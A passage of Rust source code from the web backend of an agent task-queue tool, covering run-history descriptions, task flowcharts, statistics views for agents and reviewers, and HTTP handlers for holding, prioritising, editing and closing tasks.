4364            exit: RunExit::Unreadable,
4365            attempt: AttemptCost::Unknown,
4366            branch: None,
4367        };
4368    };
4369    let branch = review_branch_of(&s.instruction);
4370    let kind = if resumed {
4371        "resume"
4372    } else if branch.is_some() {
4373        "review"
4374    } else if task.solo || s.candidates.len() == 1 {
4375        "solo"
4376    } else {
4377        "competition"
4378    };
4379    let mut description = match kind {
4380        "resume" => {
4381            format!("Resumed run {short}: the same run carried on instead of competing again.")
4382        }
4383        "review" => format!(
4384            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4385            branch.unwrap_or_default()
4386        ),
4387        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4388        _ => format!(
4389            "Competition: {} candidates judged blind.",
4390            s.candidates.len().max(1)
4391        ),
4392    };
4393    if !resumed && let Some((p, st)) = prior {
4394        description.push_str(&format!(
4395            " A retry: run {p} before it ended {}.",
4396            st.display_label()
4397        ));
4398    }
4399
4400    let status = s.status;
4401    let provisional = matches!(status, RunStatus::Stalled)
4402        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4403    let head = if resumed_later.is_some() {
4404        String::new()
4405    } else {
4406        match status {
4407            RunStatus::Merged => "Merged.".to_owned(),
4408            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4409            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4410            RunStatus::AlreadyInBase => {
4411                "Already in the base: this change landed under other commits, nothing was left to land."
4412                    .to_owned()
4413            }
4414            RunStatus::Stalled => {
4415                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4416                    .to_owned()
4417            }
4418            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4419            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4420            RunStatus::VerifiedNoop => {
4421                "Verified no-op: the candidates found nothing to change.".to_owned()
4422            }
4423            other if other.done() => format!("Ended {}.", other.display_label()),
4424            other => format!("In progress ({}).", other.display_label()),
4425        }
4426    };
4427    let why = if let Some(k) = resumed_later {
4428        // A run is only picked up again while it is unfinished, so an earlier
4429        // pass of a repeated id stopped short; the record keeps only the run's
4430        // latest status, which is left to the pass that carried it on.
4431        // Only the latest state is recorded: `parked` is cleared on resume
4432        // and `quota` accumulates across passes, so neither says why *this*
4433        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4434        let cause = if s.quota.is_empty() {
4435            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4436        } else {
4437            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4438        };
4439        format!(
4440            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4441        )
4442    } else if s.parked {
4443        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4444            .to_owned()
4445    } else if !status.done()
4446        || matches!(
4447            status,
4448            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4449        )
4450    {
4451        String::new()
4452    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4453        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4454    {
4455        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4456            .to_owned()
4457    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4458        " It left a pull request open, so the task was held for a person rather than retried."
4459            .to_owned()
4460    } else if matches!(status, RunStatus::VerifiedNoop) {
4461        " Held for a person to check the claim.".to_owned()
4462    } else if last {
4463        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4464    } else {
4465        " It spent an attempt, and the task moved on to the next run.".to_owned()
4466    };
4467    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4468    TaskRunView {
4469        n,
4470        id: id.to_owned(),
4471        short,
4472        kind,
4473        status: Some(status.as_str()),
4474        readable: true,
4475        provisional,
4476        description,
4477        outcome: format!("{head}{why}"),
4478        created_at: Some(s.created_at),
4479        pr: s.pr.as_ref().map(|p| p.url.clone()),
4480        exit,
4481        attempt: exit.cost(),
4482        branch: branch.map(str::to_owned),
4483    }
4484}
4485
4486/// One box of the task's flowchart.
4487#[derive(Debug, Serialize, PartialEq)]
4488struct FlowNode {
4489    /// Unique by position: a resumed run id appears once per pass.
4490    key: String,
4491    /// `chat`, `start`, `run` or `end`.
4492    kind: &'static str,
4493    label: String,
4494    /// Run status (or the task's, for `end`); `None` when it is not a fact
4495    /// about this box (unreadable, or a pass the run later resumed from).
4496    status: Option<&'static str>,
4497    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4498    note: Option<&'static str>,
4499    run_kind: Option<&'static str>,
4500    detail: Option<String>,
4501    /// A readable run with a real verdict; a stall never is.
4502    decided: bool,
4503    readable: bool,
4504    href: Option<String>,
4505}
4506
4507#[derive(Debug, Serialize, PartialEq)]
4508struct FlowEdge {
4509    from: String,
4510    to: String,
4511    label: String,
4512    attempt: AttemptCost,
4513}
4514
4515#[derive(Debug, Serialize, PartialEq)]
4516struct FlowView {
4517    nodes: Vec<FlowNode>,
4518    edges: Vec<FlowEdge>,
4519    /// Attempts the task has counted since it was last released.
4520    attempts: usize,
4521    max_attempts: usize,
4522}
4523
4524/// Turn a task and its described runs into the flowchart's boxes and arrows.
4525/// Pure: the page only draws what this returns.
4526fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4527    let node = |key: &str, kind, label: String| FlowNode {
4528        key: key.to_owned(),
4529        kind,
4530        label,
4531        status: None,
4532        note: None,
4533        run_kind: None,
4534        detail: None,
4535        decided: false,
4536        readable: true,
4537        href: None,
4538    };
4539    let mut nodes = Vec::new();
4540    let mut edges: Vec<FlowEdge> = Vec::new();
4541    // A task queued from a chat opens the flow with that conversation.
4542    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4543        let mut n = node(
4544            "chat",
4545            "chat",
4546            format!("Chat {}", crate::queue::short(&link.id)),
4547        );
4548        n.href = Some(link.href);
4549        nodes.push(n);
4550        edges.push(FlowEdge {
4551            from: "chat".to_owned(),
4552            to: "start".to_owned(),
4553            label: "queued from chat".to_owned(),
4554            attempt: AttemptCost::None,
4555        });
4556    }
4557    nodes.push(node("start", "start", "Task queued".to_owned()));
4558    let mut prev = "start".to_owned();
4559    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4560    for (i, h) in history.iter().enumerate() {
4561        let key = format!("run-{}", h.n);
4562        let mut n = node(&key, "run", format!("Run {}", h.short));
4563        n.run_kind = Some(h.kind);
4564        n.readable = h.readable;
4565        n.href = Some(format!("#/runs/{}", h.id));
4566        n.decided = h.readable && !h.provisional;
4567        n.detail = h
4568            .branch
4569            .as_ref()
4570            .map(|b| format!("review-only run of branch {b}"));
4571        match h.exit {
4572            RunExit::Unreadable => n.note = Some("unreadable"),
4573            RunExit::Interrupted => n.note = Some("interrupted"),
4574            _ => {
4575                n.status = h.status;
4576                if h.provisional {
4577                    n.note = Some("no verdict");
4578                }
4579            }
4580        }
4581        let into = match h.kind {
4582            "review" => Some(format!(
4583                "review-only run of branch {}",
4584                h.branch.as_deref().unwrap_or("?")
4585            )),
4586            "resume" => Some("resume the same run".to_owned()),
4587            _ if i > 0 => Some("retry".to_owned()),
4588            _ => None,
4589        };
4590        let label = match (prev_exit, into) {
4591            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4592            (Some((e, st)), None) => e.edge_label(st),
4593            (None, Some(i)) => i,
4594            (None, None) => "claimed".to_owned(),
4595        };
4596        edges.push(FlowEdge {
4597            from: prev.clone(),
4598            to: key.clone(),
4599            label,
4600            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4601        });
4602        prev_exit = Some((h.exit, h.status));
4603        prev = key;
4604        nodes.push(n);
4605    }
4606    let mut end = node("end", "end", task.status.as_str().to_owned());
4607    end.status = Some(task.status.as_str());
4608    nodes.push(end);
4609    let (label, attempt) = match prev_exit {
4610        None => (
4611            format!("no run yet \u{2192} {}", task.status.as_str()),
4612            AttemptCost::None,
4613        ),
4614        Some((e, st)) if e.explains(task.status) => (
4615            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4616            e.cost(),
4617        ),
4618        Some((e, _)) => (
4619            format!("closed by hand: task is {}", task.status.as_str()),
4620            e.cost(),
4621        ),
4622    };
4623    edges.push(FlowEdge {
4624        from: prev,
4625        to: "end".to_owned(),
4626        label,
4627        attempt,
4628    });
4629    FlowView {
4630        nodes,
4631        edges,
4632        attempts: task.attempts,
4633        max_attempts,
4634    }
4635}
4636
4637/// Describe every entry of `task.runs`, in order, reading each run's record
4638/// through `read`.
4639fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4640    let mut history = Vec::with_capacity(task.runs.len());
4641    let mut seen: Vec<&str> = Vec::new();
4642    let mut prior: Option<(&str, RunStatus)> = None;
4643    for (i, run_id) in task.runs.iter().enumerate() {
4644        let state = read(run_id);
4645        let resumed = seen.contains(&run_id.as_str());
4646        seen.push(run_id);
4647        history.push(task_run_view(
4648            run_id,
4649            state.as_ref(),
4650            RunSlot {
4651                n: i + 1,
4652                resumed,
4653                resumed_later: task.runs[i + 1..]
4654                    .iter()
4655                    .position(|r| r == run_id)
4656                    .map(|off| i + off + 2),
4657                prior,
4658                last: i + 1 == task.runs.len(),
4659            },
4660            task,
4661        ));
4662        if let Some(s) = &state {
4663            prior = Some((run::short_of(run_id), s.status));
4664        }
4665    }
4666    history
4667}
4668
4669async fn task_detail(
4670    State(ui): State<Arc<Ui>>,
4671    Path(id): Path<String>,
4672) -> ApiResult<Json<TaskDetailView>> {
4673    blocking(move || {
4674        let id = resolve_task(&ui.queue, &id)?;
4675        let task = ui
4676            .queue
4677            .get(&id)
4678            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4679        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4680        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4681        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4682        let max_attempts = daemon::Opts::default().max_attempts;
4683        let flow = task_flow(&task, &history, max_attempts);
4684        Ok(Json(TaskDetailView {
4685            max_attempts,
4686            flow,
4687            history,
4688            runs_unreadable,
4689            attempts_note: ATTEMPTS_NOTE,
4690            task: TaskView::with_inventory(task, &inv),
4691        }))
4692    })
4693    .await
4694}
4695
4696/// A rate together with its denominator, so the client can tell "computed as
4697/// 0%" apart from "no data to compute it from" — both would otherwise
4698/// serialize as `0.0`. `None` means the denominator was zero.
4699#[derive(Debug, Serialize)]
4700struct RateView {
4701    pct: f64,
4702    denominator: usize,
4703}
4704
4705impl RateView {
4706    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4707        (denominator > 0).then(|| Self {
4708            pct: 100.0 * numerator as f64 / denominator as f64,
4709            denominator,
4710        })
4711    }
4712}
4713
4714/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4715/// rates, each paired with its own denominator via [`RateView`] rather than
4716/// exposing `Stats`' own percentage methods directly — see this module's
4717/// doc for why `Stats` itself is never serialized.
4718#[derive(Debug, Serialize)]
4719struct StatsTotalsView {
4720    runs: usize,
4721    merged: usize,
4722    ready: usize,
4723    blocked: usize,
4724    failed: usize,
4725    stalled: usize,
4726    verified_noop: usize,
4727    superseded: usize,
4728    in_progress: usize,
4729    completion_rate: Option<RateView>,
4730    tallied: usize,
4731    split: usize,
4732    split_rate: Option<RateView>,
4733    deliberated: usize,
4734    minds_changed: usize,
4735    converged: usize,
4736    review_rounds: usize,
4737}
4738
4739impl From<&stats::Totals> for StatsTotalsView {
4740    fn from(t: &stats::Totals) -> Self {
4741        Self {
4742            runs: t.runs,
4743            merged: t.merged,
4744            ready: t.ready,
4745            blocked: t.blocked,
4746            failed: t.failed,
4747            stalled: t.stalled,
4748            verified_noop: t.verified_noop,
4749            superseded: t.superseded,
4750            in_progress: t.in_progress,
4751            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4752            tallied: t.tallied,
4753            split: t.split,
4754            split_rate: RateView::of(t.split, t.tallied),
4755            deliberated: t.deliberated,
4756            minds_changed: t.minds_changed,
4757            converged: t.converged,
4758            review_rounds: t.review_rounds,
4759        }
4760    }
4761}
4762
4763/// [`crate::stats::AgentStats`] for the wire.
4764#[derive(Debug, Serialize)]
4765struct AgentStatsView {
4766    agent: String,
4767    entered: usize,
4768    wins: usize,
4769    empty: usize,
4770    win_rate: Option<RateView>,
4771}
4772
4773impl From<&stats::AgentStats> for AgentStatsView {
4774    fn from(a: &stats::AgentStats) -> Self {
4775        Self {
4776            agent: a.agent.clone(),
4777            entered: a.entered,
4778            wins: a.wins,
4779            empty: a.empty,
4780            win_rate: RateView::of(a.wins, a.entered),
4781        }
4782    }
4783}
4784
4785/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4786/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4787/// value, `None` when `rounds` is zero.
4788#[derive(Debug, Serialize)]
4789struct ReviewerStatsView {
4790    agent: String,
4791    rounds: usize,
4792    seated: usize,
4793    submitted: usize,
4794    adopted: usize,
4795    unique: usize,
4796    timeouts: usize,
4797    adopted_per_round: Option<f64>,
4798    precision: Option<RateView>,
4799    unique_rate: Option<RateView>,
4800    timeout_rate: Option<RateView>,
4801}
4802
4803impl From<&stats::ReviewerStats> for ReviewerStatsView {
4804    fn from(r: &stats::ReviewerStats) -> Self {
4805        Self {
4806            agent: r.agent.clone(),
4807            rounds: r.rounds,
4808            seated: r.seated,
4809            submitted: r.submitted,
4810            adopted: r.adopted,
4811            unique: r.unique,
4812            timeouts: r.timeouts,
4813            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4814            precision: RateView::of(r.adopted, r.submitted),
4815            unique_rate: RateView::of(r.unique, r.submitted),
4816            timeout_rate: RateView::of(r.timeouts, r.seated),
4817        }
4818    }
4819}
4820
4821/// [`crate::stats::AdvisorStats`] for the wire.
4822///
4823/// `reflection_rate` is approximate by construction — see
4824/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4825/// that caveat is static text in `index.html`, not a field here.
4826#[derive(Debug, Serialize)]
4827struct AdvisorStatsView {
4828    agent: String,
4829    seated: usize,
4830    proposed: usize,
4831    absent: usize,
4832    faint: usize,
4833    strong: usize,
4834    reflection_rate: Option<RateView>,
4835}
4836
4837impl From<&stats::AdvisorStats> for AdvisorStatsView {
4838    fn from(a: &stats::AdvisorStats) -> Self {
4839        Self {
4840            agent: a.agent.clone(),
4841            seated: a.seated,
4842            proposed: a.proposed,
4843            absent: a.absent,
4844            faint: a.faint,
4845            strong: a.strong,
4846            reflection_rate: RateView::of(a.strong, a.proposed),
4847        }
4848    }
4849}
4850
4851/// [`crate::stats::E2eStats`] for the wire.
4852#[derive(Debug, Serialize)]
4853struct E2eStatsView {
4854    rounds: usize,
4855    failures: usize,
4856    sole_detections: usize,
4857    deferred: usize,
4858    sole_rate: Option<RateView>,
4859}
4860
4861impl From<&stats::E2eStats> for E2eStatsView {
4862    fn from(e: &stats::E2eStats) -> Self {
4863        Self {
4864            rounds: e.rounds,
4865            failures: e.failures,
4866            sole_detections: e.sole_detections,
4867            deferred: e.deferred,
4868            sole_rate: RateView::of(e.sole_detections, e.failures),
4869        }
4870    }
4871}
4872
4873/// [`crate::stats::ReleaseBumpStats`] for the wire.
4874///
4875/// `clean` is sent as a raw count, computed the same way
4876/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4877/// needs_attention`) — never derived client-side from `automerge_enabled`,
4878/// which would misclassify a `merged_directly` bump (automerge rejected, but
4879/// magi merged it directly, so no human involvement) as needing attention.
4880#[derive(Debug, Serialize)]
4881struct ReleaseBumpStatsView {
4882    merged: usize,
4883    recorded: usize,
4884    pr_opened: usize,
4885    automerge_enabled: usize,
4886    merged_directly: usize,
4887    needs_attention: usize,
4888    clean: usize,
4889    coverage_rate: Option<RateView>,
4890    automerge_rate: Option<RateView>,
4891    attention_rate: Option<RateView>,
4892}
4893
4894impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4895    fn from(b: &stats::ReleaseBumpStats) -> Self {
4896        Self {
4897            merged: b.merged,
4898            recorded: b.recorded,
4899            pr_opened: b.pr_opened,
4900            automerge_enabled: b.automerge_enabled,
4901            merged_directly: b.merged_directly,
4902            needs_attention: b.needs_attention,
4903            clean: b.clean(),
4904            coverage_rate: RateView::of(b.recorded, b.merged),
4905            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4906            attention_rate: RateView::of(b.needs_attention, b.recorded),
4907        }
4908    }
4909}
4910
4911/// [`crate::queue::TaskCounts`] for the wire.
4912#[derive(Debug, Serialize)]
4913struct TaskCountsView {
4914    queued: usize,
4915    running: usize,
4916    done: usize,
4917    failed: usize,
4918    held: usize,
4919    blocked: usize,
4920    parked: usize,
4921}
4922
4923impl From<crate::queue::TaskCounts> for TaskCountsView {
4924    fn from(c: crate::queue::TaskCounts) -> Self {
4925        Self {
4926            queued: c.queued,
4927            running: c.running,
4928            done: c.done,
4929            failed: c.failed,
4930            held: c.held,
4931            blocked: c.blocked,
4932            parked: c.parked,
4933        }
4934    }
4935}
4936
4937/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4938/// runs recorded — the summary the UI's repository selector is built from.
4939/// Carries no nested `Stats`: picking a repo means re-fetching
4940/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4941/// aggregation rather than duplicating it.
4942#[derive(Debug, Serialize)]
4943struct RepoSummaryView {
4944    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4945    /// against, full path and all (see [`stats_get`]'s own doc for why).
4946    repo: String,
4947    /// Display name only; never used for matching.
4948    name: String,
4949    runs: usize,
4950    completion_rate: Option<RateView>,
4951}
4952
4953impl From<&stats::RepoStats> for RepoSummaryView {
4954    fn from(r: &stats::RepoStats) -> Self {
4955        let t = &r.stats.totals;
4956        Self {
4957            repo: r.repo.to_string_lossy().into_owned(),
4958            name: r.name.clone(),
4959            runs: t.runs,
4960            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4961        }
4962    }
4963}
4964
4965/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4966/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4967/// renders from them) are free to grow without that becoming a wire-contract
4968/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4969/// data" from "computed and it really is zero" the way [`RateView`] does.
4970#[derive(Debug, Serialize)]
4971struct StatsView {
4972    totals: StatsTotalsView,
4973    /// Best win rate first, as [`stats::collect`] already sorts it.
4974    agents: Vec<AgentStatsView>,
4975    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4976    reviewers: Vec<ReviewerStatsView>,
4977    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4978    advisors: Vec<AdvisorStatsView>,
4979    e2e: E2eStatsView,
4980    release_bumps: ReleaseBumpStatsView,
4981    queue: TaskCountsView,
4982    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4983    /// that field's doc. Asserted to match it in
4984    /// `stats_runs_unreadable_matches_health`.
4985    ///
4986    /// Always the whole-workload count, even when `repo` narrows every other
4987    /// field to one repository - an unreadable `run.json` carries no `repo`
4988    /// a per-repository count could attribute it to, and the queue/health
4989    /// views this mirrors never scope it either. The UI must not present it
4990    /// as if it were scoped to the selected repository.
4991    runs_unreadable: usize,
4992    /// Every repository with runs recorded, most runs first - what the UI's
4993    /// repository selector is built from. Always the full list regardless of
4994    /// `repo`, so switching repositories never needs a second request.
4995    repos: Vec<RepoSummaryView>,
4996    /// Runs per local day over the last 30 days, oldest first, always 30
4997    /// entries. Days are the *server's* local dates (the UI must not convert
4998    /// them again), cut by run creation and classified by current status.
4999    /// Narrowed by `repo` like every other run-derived field.
5000    daily: Vec<DailyStatsView>,
5001    /// The `?repo=` value this response was narrowed to, echoed back so the
5002    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5003    /// all-repositories view.
5004    repo: Option<String>,
5005    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5006    /// current config roster no longer lists them. Empty with `?all=true`, an
5007    /// unreadable config, or when nothing was retired.
5008    retired_hidden: Vec<String>,
5009}
5010
5011/// One day of [`StatsView::daily`].
5012#[derive(Debug, Serialize)]
5013struct DailyStatsView {
5014    /// `YYYY-MM-DD`, server-local.
5015    date: String,
5016    runs: usize,
5017    merged: usize,
5018    ready: usize,
5019    other: usize,
5020    /// `None` on a day with no runs, so it never reads as 0%.
5021    completion_rate: Option<RateView>,
5022}
5023
5024impl From<&stats::DayBucket> for DailyStatsView {
5025    fn from(b: &stats::DayBucket) -> Self {
5026        Self {
5027            date: b.date.to_string(),
5028            runs: b.runs,
5029            merged: b.merged,
5030            ready: b.ready,
5031            other: b.other,
5032            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5033        }
5034    }
5035}
5036
5037/// How many days [`StatsView::daily`] covers.
5038const STATS_DAILY_DAYS: usize = 30;
5039
5040/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5041/// repository. Matched by full-path equality against `RunState.repo` only
5042/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5043/// `--repo` is, because the value here always came from this same route's
5044/// own `repos` list in an earlier response, never typed by a human. A value
5045/// matching no run is a 404, not an empty aggregate: the caller asked for a
5046/// specific, named repository, and silently returning zeroes would look
5047/// exactly like a repository that has runs but none of interest.
5048#[derive(Debug, Default, Deserialize)]
5049#[serde(default)]
5050struct StatsQuery {
5051    repo: Option<String>,
5052    /// `?all=true` keeps agents that are no longer in the roster.
5053    all: bool,
5054}
5055
5056/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5057/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5058/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5059/// prints from. Reads every readable run on disk, exactly as
5060/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5061/// a separately-maintained tally could.
5062async fn stats_get(
5063    State(ui): State<Arc<Ui>>,
5064    Query(q): Query<StatsQuery>,
5065) -> ApiResult<Json<StatsView>> {
5066    blocking(move || {
5067        let states: Vec<RunState> = run_ids(&ui.runs)
5068            .into_iter()
5069            .filter_map(|id| read_run(&ui.runs, &id).ok())
5070            .collect();
5071        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5072            .iter()
5073            .map(RepoSummaryView::from)
5074            .collect();
5075        let mut scoped: Vec<&RunState> = states.iter().collect();
5076        let mut collected = match &q.repo {
5077            Some(repo) => {
5078                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5079                if filtered.is_empty() {
5080                    return Err(ApiError::not_found(format!(
5081                        "no runs recorded against repo `{repo}`"
5082                    )));
5083                }
5084                scoped = filtered.clone();
5085                stats::collect_refs(filtered)
5086            }
5087            None => stats::collect(&states),
5088        };
5089        if !q.all {
5090            let repo = q
5091                .repo
5092                .as_deref()
5093                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5094            stats::retain_current_roster(&mut collected, &repo);
5095        }
5096        let daily = stats::daily(
5097            scoped,
5098            jiff::Zoned::now().date(),
5099            &jiff::tz::TimeZone::system(),
5100            STATS_DAILY_DAYS,
5101        );
5102        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5103        Ok(Json(StatsView {
5104            totals: StatsTotalsView::from(&collected.totals),
5105            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5106            reviewers: collected
5107                .reviewers
5108                .iter()
5109                .map(ReviewerStatsView::from)
5110                .collect(),
5111            advisors: collected
5112                .advisors
5113                .iter()
5114                .map(AdvisorStatsView::from)
5115                .collect(),
5116            e2e: E2eStatsView::from(&collected.e2e),
5117            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5118            queue: TaskCountsView::from(queue_counts),
5119            runs_unreadable: runs_unreadable(&ui.runs),
5120            repos,
5121            daily: daily.iter().map(DailyStatsView::from).collect(),
5122            repo: q.repo.clone(),
5123            retired_hidden: collected.retired_hidden.clone(),
5124        }))
5125    })
5126    .await
5127}
5128
5129/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5130/// gives no reason - which must keep working, since not every hold has one.
5131#[derive(Debug, Default, Deserialize)]
5132#[serde(default, deny_unknown_fields)]
5133struct HoldBody {
5134    reason: Option<String>,
5135}
5136
5137async fn queue_hold(
5138    State(ui): State<Arc<Ui>>,
5139    Path(id): Path<String>,
5140    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5141) -> ApiResult<Json<TaskView>> {
5142    // An absent body is the ordinary case - most holds are unexplained, and
5143    // that has to stay a one-tap action rather than a form. A body that is
5144    // present and malformed is still a bad request.
5145    let body = match body {
5146        Ok(Json(body)) => body,
5147        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5148        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5149    };
5150    let reason = body.reason.filter(|r| !r.trim().is_empty());
5151    mutate(ui, id, move |t| {
5152        t.hold_manual(reason.clone());
5153        Ok(())
5154    })
5155    .await
5156}
5157
5158async fn queue_release(
5159    State(ui): State<Arc<Ui>>,
5160    Path(id): Path<String>,
5161) -> ApiResult<Json<TaskView>> {
5162    mutate(ui, id, |t| {
5163        t.release();
5164        Ok(())
5165    })
5166    .await
5167}
5168
5169/// The body of `POST /api/queue/{id}/priority`.
5170#[derive(Debug, Deserialize)]
5171#[serde(deny_unknown_fields)]
5172struct PriorityBody {
5173    priority: i32,
5174}
5175
5176/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5177///
5178/// [`Task::set_priority`] is the one place the "not while running" rule is
5179/// stated; this route only carries the body to it and lets its `Err` become
5180/// the 4xx the card shows.
5181async fn queue_priority(
5182    State(ui): State<Arc<Ui>>,
5183    Path(id): Path<String>,
5184    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5185) -> ApiResult<Json<TaskView>> {
5186    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5187    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5188}
5189
5190/// The body of `POST /api/queue/{id}/edit`.
5191#[derive(Debug, Deserialize)]
5192#[serde(deny_unknown_fields)]
5193struct EditBody {
5194    title: String,
5195    instruction: String,
5196    /// Save even though the new text names a branch, commit or pull request
5197    /// that unfinished work already owns.
5198    #[serde(default)]
5199    force: bool,
5200}
5201
5202/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5203/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5204/// that refusal's message is what the sheet shows back.
5205async fn queue_edit(
5206    State(ui): State<Arc<Ui>>,
5207    Path(id): Path<String>,
5208    body: std::result::Result<Json<EditBody>, JsonRejection>,
5209) -> ApiResult<Json<TaskView>> {
5210    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5211    // The judge is an agent call, so it is awaited here, outside the claim
5212    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5213    // remembered, and the save refuses if the task moved underneath it.
5214    let mut judged: Option<(String, PathBuf)> = None;
5215    if !body.force {
5216        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5217        let (id, text) = (id.clone(), body.instruction.clone());
5218        let (seen, hits) = blocking(move || {
5219            let id = resolve_task(&queue, &id)?;
5220            let t = queue.get(&id)?;
5221            if text == t.instruction {
5222                return Ok((None, Vec::new()));
5223            }
5224            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5225            Ok((Some((t.instruction, t.repo)), hits))
5226        })
5227        .await?;
5228        if let Some((_, repo)) = &seen {
5229            let cfg = crate::config::Config::discover(repo, None)
5230                .ok()
5231                .map(|(c, _)| c);
5232            let screened =
5233                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5234                    .await
5235                    .map_err(|dup| {
5236                        ApiError::conflict(dup.render(
5237                            "Nothing was saved. If it is not a duplicate, repeat the request \
5238                             with \"force\": true.",
5239                        ))
5240                    })?;
5241            if let crate::dupes::Screened::Unjudged(why) = screened {
5242                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5243            }
5244        }
5245        judged = seen;
5246    }
5247    let force = body.force;
5248    mutate(ui, id, move |t| {
5249        if !force && body.instruction != t.instruction {
5250            match &judged {
5251                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5252                _ => {
5253                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5254                }
5255            }
5256        }
5257        t.edit(body.title.clone(), body.instruction.clone())
5258    })
5259    .await
5260}
5261
5262/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5263/// it, so the phone's other way to clear a task from the backlog does not
5264/// have to cost the run history, the attribution, and `created_at` the way
5265/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5266/// can be marked done by hand, because this is for the run the loop never
5267/// saw land - a merge done by hand, or a gate that misreported - and that can
5268/// happen from any status the task was left in.
5269async fn queue_done(
5270    State(ui): State<Arc<Ui>>,
5271    Path(id): Path<String>,
5272) -> ApiResult<Json<TaskView>> {
5273    let home = ui.home.clone();
5274    mutate(ui, id, move |t| {
5275        t.succeed();
5276        // Same as the loop's own settle path: closing a task by hand is just
5277        // as much "this task's story is over" as a daemon-driven `Merged`/
5278        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5279        // behind must stop looking like it still needs a human. `ui.home`,
5280        // not the process-global `run::home()`: they agree in a real
5281        // process, but only `ui.home` also agrees with a test fixture's own
5282        // directory.
5283        crate::daemon::supersede_prior_runs(t, &home);
5284        Ok(())
5285    })
5286    .await
5287}
5288
5289/// `DELETE /api/queue/{id}`.
5290///
5291/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
